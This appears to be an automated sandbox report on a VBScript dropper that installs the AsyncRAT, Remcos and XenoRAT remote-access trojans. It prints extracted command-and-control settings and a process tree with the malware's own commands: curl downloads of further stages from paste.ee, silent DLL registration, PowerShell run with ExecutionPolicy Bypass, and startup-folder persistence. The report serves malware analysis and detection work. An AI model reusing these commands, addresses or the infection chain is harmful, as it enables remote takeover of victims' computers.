asyncrat | 046dd3e5190fd5fd304920b5388087f82b86df15061de3cbdd51c7a53d74b7cf

Analysis

max time kernel
22s
max time network
31s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
09-05-2024 08:51

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General

Target

lmg_Angeia_Whlt_phto.vbs
Size

451KB
MD5

50dd276ecb219b58afb8dd4c72921930
SHA1

6900dcdd573f4261e32ee98f8e15817ea5b17c94
SHA256

c989926eb17a83e10fa18a7beb6e1a468c88740e157609db9dd7600498f6c148
SHA512

3639ec354ce49229d31fc662c97b50d233203c23571d7cb8b57cd7d42cef62afce629b9237a7e263e9986501a49c6cdaa7597a430f62ffc590830d4354e30f1c
SSDEEP

3072:CLo26YF/VCe4VTdRlTT8w4TWvxqtIgJdpe+og0S7wQzS18f8d6bb/g52D:4o26YF4xq3

Score

10^/10

asyncrat remcos xenorat matidown2 xxx1 execution persistence rat trojan

Malware Config

Extracted

Family

asyncrat

Version

1.0.7

Botnet

MATIDOWN2

141.95.84.40:6465

Mutex

wcawcaw

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Extracted

Family

remcos

Botnet

xxx1

141.95.84.40:6468

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
registros.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
asasas-3248IW
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Capturas de pantalla
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Extracted

Family

xenorat

141.95.84.40

Mutex

asasaa33d3a143vaavwwv

Attributes

delay
5000
install_path
nothingset
port
6676
startup_name
nothingset

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
XenorRat
XenorRat is a remote access trojan written in C#.
trojan rat xenorat

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation	RegAsm.exe
Key value queried	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 4 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RC0S.vbs	WScript.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\h.vbs	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\h.vbs	WScript.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RC0S.vbs	WScript.exe

Loads dropped DLL 9 IoCs

pid	Process
5736	regsvr32.exe
1224	wscript.exe
5132	regsvr32.exe
3288	regsvr32.exe
4632	regsvr32.exe
1124	WScript.exe
548	regsvr32.exe
3008	regsvr32.exe
5768	regsvr32.exe

Registers COM server for autorun 1 TTPs 14 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\WOW6432Node\CLSID\{89565275-A714-4a43-912E-978B935EDCCC}\InProcServer32	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\WOW6432Node\CLSID\{89565275-A714-4a43-912E-978B935EDCCC}\InProcServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\dynwrapx.dll"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\WOW6432Node\CLSID\{89565275-A714-4a43-912E-978B935EDCCC}\InProcServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\dynwrapx.dll"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\WOW6432Node\CLSID\{89565275-A714-4a43-912E-978B935EDCCC}\InProcServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\dynwrapx.dll"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\WOW6432Node\CLSID\{89565275-A714-4a43-912E-978B935EDCCC}\InProcServer32	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\WOW6432Node\CLSID\{89565275-A714-4a43-912E-978B935EDCCC}\InProcServer32	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\WOW6432Node\CLSID\{89565275-A714-4a43-912E-978B935EDCCC}\InProcServer32	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\WOW6432Node\CLSID\{89565275-A714-4a43-912E-978B935EDCCC}\InProcServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\dynwrapx.dll"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\WOW6432Node\CLSID\{89565275-A714-4a43-912E-978B935EDCCC}\InProcServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\dynwrapx.dll"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\WOW6432Node\CLSID\{89565275-A714-4a43-912E-978B935EDCCC}\InProcServer32	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\WOW6432Node\CLSID\{89565275-A714-4a43-912E-978B935EDCCC}\InProcServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\dynwrapx.dll"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\WOW6432Node\CLSID\{89565275-A714-4a43-912E-978B935EDCCC}\InProcServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\dynwrapx.dll"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\WOW6432Node\CLSID\{89565275-A714-4a43-912E-978B935EDCCC}\InProcServer32	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\WOW6432Node\CLSID\{89565275-A714-4a43-912E-978B935EDCCC}\InProcServer32	regsvr32.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Start PowerShell.

execution

PowerShell

T1059.001

pid	Process
5004	powershell.exe
2648	powershell.exe

Suspicious use of SetThreadContext 7 IoCs

description	pid	Process	procid_target
PID 1224 set thread context of 3180	1224	wscript.exe	92
PID 1224 set thread context of 8	1224	wscript.exe	94
PID 1224 set thread context of 5248	1224	wscript.exe	99
PID 1124 set thread context of 5948	1124	WScript.exe	113
PID 1124 set thread context of 4580	1124	WScript.exe	115
PID 1124 set thread context of 3972	1124	WScript.exe	117
PID 1124 set thread context of 1956	1124	WScript.exe	120

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 2 IoCs

pid	pid_target	Process	procid_target
2300	8	WerFault.exe	94
4280	4376	WerFault.exe	133

Modifies registry class 34 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\WOW6432Node\CLSID\{89565275-A714-4a43-912E-978B935EDCCC}\InProcServer32	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\WOW6432Node\CLSID\{89565275-A714-4a43-912E-978B935EDCCC}\InProcServer32	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\DynamicWrapperX\CLSID	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\DynamicWrapperX\CLSID\ = "{89565275-A714-4a43-912E-978B935EDCCC}"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\WOW6432Node\CLSID\{89565275-A714-4a43-912E-978B935EDCCC}\InProcServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\dynwrapx.dll"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\WOW6432Node\CLSID	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\WOW6432Node\CLSID\{89565275-A714-4a43-912E-978B935EDCCC}\InProcServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\dynwrapx.dll"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\WOW6432Node\CLSID\{89565275-A714-4a43-912E-978B935EDCCC}\InProcServer32	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\WOW6432Node\CLSID\{89565275-A714-4a43-912E-978B935EDCCC}\InProcServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\dynwrapx.dll"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\DynamicWrapperX\CLSID	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\WOW6432Node\CLSID\{89565275-A714-4a43-912E-978B935EDCCC}\InProcServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\dynwrapx.dll"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\DynamicWrapperX\CLSID	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\DynamicWrapperX\CLSID\ = "{89565275-A714-4a43-912E-978B935EDCCC}"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\WOW6432Node\CLSID\{89565275-A714-4a43-912E-978B935EDCCC}\InProcServer32	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\DynamicWrapperX\CLSID\ = "{89565275-A714-4a43-912E-978B935EDCCC}"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\DynamicWrapperX\CLSID	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\DynamicWrapperX	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\DynamicWrapperX\CLSID\ = "{89565275-A714-4a43-912E-978B935EDCCC}"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\DynamicWrapperX\CLSID	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\DynamicWrapperX\CLSID\ = "{89565275-A714-4a43-912E-978B935EDCCC}"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\DynamicWrapperX\CLSID	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\WOW6432Node\CLSID\{89565275-A714-4a43-912E-978B935EDCCC}	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\WOW6432Node\CLSID\{89565275-A714-4a43-912E-978B935EDCCC}\InProcServer32	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\WOW6432Node\CLSID\{89565275-A714-4a43-912E-978B935EDCCC}\InProcServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\dynwrapx.dll"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\WOW6432Node\CLSID\{89565275-A714-4a43-912E-978B935EDCCC}\InProcServer32	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\WOW6432Node\CLSID\{89565275-A714-4a43-912E-978B935EDCCC}\InProcServer32	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\WOW6432Node	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\DynamicWrapperX\CLSID\ = "{89565275-A714-4a43-912E-978B935EDCCC}"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\WOW6432Node\CLSID\{89565275-A714-4a43-912E-978B935EDCCC}\InProcServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\dynwrapx.dll"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\WOW6432Node\CLSID\{89565275-A714-4a43-912E-978B935EDCCC}\InProcServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\dynwrapx.dll"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\DynamicWrapperX\CLSID	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\DynamicWrapperX\CLSID\ = "{89565275-A714-4a43-912E-978B935EDCCC}"	regsvr32.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
5004	powershell.exe
5004	powershell.exe
3180	RegAsm.exe
2648	powershell.exe
2648	powershell.exe
3180	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3180	RegAsm.exe
Token: SeDebugPrivilege	5004	powershell.exe
Token: SeDebugPrivilege	2648	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2020 wrote to memory of 5144	2020	WScript.exe	83
PID 2020 wrote to memory of 5144	2020	WScript.exe	83
PID 2020 wrote to memory of 1224	2020	WScript.exe	88
PID 2020 wrote to memory of 1224	2020	WScript.exe	88
PID 2020 wrote to memory of 1224	2020	WScript.exe	88
PID 1224 wrote to memory of 5312	1224	wscript.exe	89
PID 1224 wrote to memory of 5312	1224	wscript.exe	89
PID 1224 wrote to memory of 5312	1224	wscript.exe	89
PID 1224 wrote to memory of 5736	1224	wscript.exe	91
PID 1224 wrote to memory of 5736	1224	wscript.exe	91
PID 1224 wrote to memory of 5736	1224	wscript.exe	91
PID 1224 wrote to memory of 3180	1224	wscript.exe	92
PID 1224 wrote to memory of 3180	1224	wscript.exe	92
PID 1224 wrote to memory of 3180	1224	wscript.exe	92
PID 1224 wrote to memory of 3180	1224	wscript.exe	92
PID 1224 wrote to memory of 3180	1224	wscript.exe	92
PID 1224 wrote to memory of 3180	1224	wscript.exe	92
PID 1224 wrote to memory of 3180	1224	wscript.exe	92
PID 1224 wrote to memory of 3180	1224	wscript.exe	92
PID 1224 wrote to memory of 5132	1224	wscript.exe	93
PID 1224 wrote to memory of 5132	1224	wscript.exe	93
PID 1224 wrote to memory of 5132	1224	wscript.exe	93
PID 1224 wrote to memory of 8	1224	wscript.exe	94
PID 1224 wrote to memory of 8	1224	wscript.exe	94
PID 1224 wrote to memory of 8	1224	wscript.exe	94
PID 1224 wrote to memory of 8	1224	wscript.exe	94
PID 1224 wrote to memory of 3288	1224	wscript.exe	96
PID 1224 wrote to memory of 3288	1224	wscript.exe	96
PID 1224 wrote to memory of 3288	1224	wscript.exe	96
PID 1224 wrote to memory of 5248	1224	wscript.exe	99
PID 1224 wrote to memory of 5248	1224	wscript.exe	99
PID 1224 wrote to memory of 5248	1224	wscript.exe	99
PID 1224 wrote to memory of 5248	1224	wscript.exe	99
PID 1224 wrote to memory of 5248	1224	wscript.exe	99
PID 1224 wrote to memory of 5248	1224	wscript.exe	99
PID 1224 wrote to memory of 5248	1224	wscript.exe	99
PID 1224 wrote to memory of 5248	1224	wscript.exe	99
PID 3180 wrote to memory of 4232	3180	RegAsm.exe	104
PID 3180 wrote to memory of 4232	3180	RegAsm.exe	104
PID 3180 wrote to memory of 4232	3180	RegAsm.exe	104
PID 4232 wrote to memory of 5004	4232	cmd.exe	106
PID 4232 wrote to memory of 5004	4232	cmd.exe	106
PID 4232 wrote to memory of 5004	4232	cmd.exe	106
PID 5004 wrote to memory of 1124	5004	powershell.exe	108
PID 5004 wrote to memory of 1124	5004	powershell.exe	108
PID 5004 wrote to memory of 1124	5004	powershell.exe	108
PID 1124 wrote to memory of 2804	1124	WScript.exe	109
PID 1124 wrote to memory of 2804	1124	WScript.exe	109
PID 1124 wrote to memory of 2804	1124	WScript.exe	109
PID 1124 wrote to memory of 4632	1124	WScript.exe	112
PID 1124 wrote to memory of 4632	1124	WScript.exe	112
PID 1124 wrote to memory of 4632	1124	WScript.exe	112
PID 1124 wrote to memory of 5948	1124	WScript.exe	113
PID 1124 wrote to memory of 5948	1124	WScript.exe	113
PID 1124 wrote to memory of 5948	1124	WScript.exe	113
PID 1124 wrote to memory of 5948	1124	WScript.exe	113
PID 1124 wrote to memory of 5948	1124	WScript.exe	113
PID 1124 wrote to memory of 5948	1124	WScript.exe	113
PID 1124 wrote to memory of 5948	1124	WScript.exe	113
PID 1124 wrote to memory of 5948	1124	WScript.exe	113
PID 1124 wrote to memory of 5948	1124	WScript.exe	113
PID 1124 wrote to memory of 5948	1124	WScript.exe	113
PID 1124 wrote to memory of 5948	1124	WScript.exe	113
PID 1124 wrote to memory of 5948	1124	WScript.exe	113

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\lmg_Angeia_Whlt_phto.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2020
- C:\Windows\System32\curl.exe
  curl -s https://paste.ee/r/uazpL
  2⤵
  PID:5144
- C:\Windows\SysWOW64\wscript.exe
  "C:\Windows\SysWOW64\wscript.exe" //b //e:vbscript "C:\Users\Admin\AppData\Local\Temp\lmg_Angeia_Whlt_phto.vbs"
  2⤵
  - Checks computer location settings
  - Loads dropped DLL
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:1224
- - C:\Windows\SysWOW64\curl.exe
    curl -s https://paste.ee/r/uazpL
    3⤵
    PID:5312
- - C:\Windows\SysWOW64\regsvr32.exe
    "C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\Admin\AppData\Local\Temp\dynwrapx.dll"
    3⤵
    - Loads dropped DLL
    - Registers COM server for autorun
    - Modifies registry class
    PID:5736
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - Checks computer location settings
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3180
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\RC0S.vbs"' & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4232
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\RC0S.vbs"'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5004
      - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RC0S.vbs"
        6⤵
        Checks computer location settings
        Drops startup file
        Loads dropped DLL
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:1124
        
        C:\Windows\SysWOW64\curl.exe
        
        curl -s https://paste.ee/r/kIEYz
        7⤵
        
        PID:2804
        
        C:\Windows\SysWOW64\regsvr32.exe
        
        "C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\Admin\AppData\Local\Temp\dynwrapx.dll"
        7⤵
        Loads dropped DLL
        Registers COM server for autorun
        Modifies registry class
        
        PID:4632
        
        C:\Windows\winhlp32.exe
        
        "C:\Windows\winhlp32.exe"
        7⤵
        
        PID:5948
        
        C:\Windows\SysWOW64\regsvr32.exe
        
        "C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\Admin\AppData\Local\Temp\dynwrapx.dll"
        7⤵
        Loads dropped DLL
        Registers COM server for autorun
        Modifies registry class
        
        PID:548
        
        C:\Windows\winhlp32.exe
        
        "C:\Windows\winhlp32.exe"
        7⤵
        
        PID:4580
        
        C:\Windows\SysWOW64\regsvr32.exe
        
        "C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\Admin\AppData\Local\Temp\dynwrapx.dll"
        7⤵
        Loads dropped DLL
        Registers COM server for autorun
        Modifies registry class
        
        PID:3008
        
        C:\Windows\winhlp32.exe
        
        "C:\Windows\winhlp32.exe"
        7⤵
        
        PID:3972
        
        C:\Windows\SysWOW64\regsvr32.exe
        
        "C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\Admin\AppData\Local\Temp\dynwrapx.dll"
        7⤵
        Loads dropped DLL
        Registers COM server for autorun
        Modifies registry class
        
        PID:5768
        
        C:\Windows\winhlp32.exe
        
        "C:\Windows\winhlp32.exe"
        7⤵
        
        PID:1956
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\h.vbs"' & exit
      4⤵
      PID:60
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\h.vbs"'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2648
      - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\h.vbs"
        6⤵
        Drops startup file
        
        PID:1120
        
        C:\Windows\SysWOW64\curl.exe
        
        curl -s https://paste.ee/r/6Y0DE
        7⤵
        
        PID:2836
        
        C:\Windows\SysWOW64\regsvr32.exe
        
        "C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\Admin\AppData\Local\Temp\dynwrapx.dll"
        7⤵
        
        PID:2328
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        7⤵
        
        PID:4072
        
        C:\Windows\SysWOW64\regsvr32.exe
        
        "C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\Admin\AppData\Local\Temp\dynwrapx.dll"
        7⤵
        
        PID:4472
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        7⤵
        
        PID:4616
        
        C:\Windows\SysWOW64\regsvr32.exe
        
        "C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\Admin\AppData\Local\Temp\dynwrapx.dll"
        7⤵
        
        PID:1388
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        7⤵
        
        PID:4376
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4376 -s 80
        8⤵
        Program crash
        
        PID:4280
        
        C:\Windows\SysWOW64\regsvr32.exe
        
        "C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\Admin\AppData\Local\Temp\dynwrapx.dll"
        7⤵
        
        PID:4992
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        7⤵
        
        PID:4892
- - C:\Windows\SysWOW64\regsvr32.exe
    "C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\Admin\AppData\Local\Temp\dynwrapx.dll"
    3⤵
    - Loads dropped DLL
    - Registers COM server for autorun
    - Modifies registry class
    PID:5132
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:8
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 8 -s 80
      4⤵
      Program crash
      PID:2300
- - C:\Windows\SysWOW64\regsvr32.exe
    "C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\Admin\AppData\Local\Temp\dynwrapx.dll"
    3⤵
    - Loads dropped DLL
    - Registers COM server for autorun
    - Modifies registry class
    PID:3288
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:5248

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 8 -ip 8
1⤵
PID:5436

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 4376 -ip 4376
1⤵
PID:1300

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegAsm.exe.log

Filesize
425B

MD5
4eaca4566b22b01cd3bc115b9b0b2196

SHA1
e743e0792c19f71740416e7b3c061d9f1336bf94

SHA256
34ba0ab8d1850e7825763f413142a333ccbc05fa2b5499a28a7d27b8a1c5b4bb

SHA512
bc2b1bf45203e3bb3009a7d37617b8f0f7ffa613680b32de2b963e39d2cf1650614d7035a0cf78f35a4f5cb17a2a439e2e07deaefd2a4275a62efd0a5c0184a1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
1KB

MD5
5315900105942deb090a358a315b06fe

SHA1
22fe5d2e1617c31afbafb91c117508d41ef0ce44

SHA256
e8bd7d8d1d0437c71aceb032f9fb08dd1147f41c048540254971cc60e95d6cd7

SHA512
77e8d15b8c34a1cb01dbee7147987e2cc25c747e0f80d254714a93937a6d2fe08cb5a772cf85ceb8fec56415bfa853234a003173718c4229ba8cfcf2ce6335a6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
15KB

MD5
22071a7db358ebd269c9e90cc517e969

SHA1
639a145618e68e5c194105b7ffa2ec160d56dd26

SHA256
c6d5f46635231a42f4fe7fc91f56ae15c027730fdbbfb7698abc28aef1910d80

SHA512
b7db92707e5c6a19187237aab557a1bf5be582990e45023826f8bfb6674f865641803d3fec8f9842c03ebf7737dbf236e30c33057f455e99da656268a595f629

Download Submit
C:\Users\Admin\AppData\Local\Temp\RC0S.vbs

Filesize
451KB

MD5
1f1b5ec1770db718a316090a8b98db7f

SHA1
ad60d1d1871fe7ef7049741d78915f4f8f28962a

SHA256
e6659f8c95c9b063bb58c753e9a8a30c487033b74ca419d59c4b1f29a0725942

SHA512
05e2d6aa6705759a5beae8e3152e630f5e48e2bf93b650837c0b6b2ed1fa1cf1b52c27ed9feaa9331b0f76e246c2f9c9e8d3c68bb72e9be7e4cbea848d39bfef

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nfnzw0u2.hnm.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\dynwrapx.dll

Filesize
13KB

MD5
e0b8dfd17b8e7de760b273d18e58b142

SHA1
801509fb6783c9e57edc67a72dde3c62080ffbaf

SHA256
4ef3a6703abc6b2b8e2cac3031c1e5b86fe8b377fde92737349ee52bd2604379

SHA512
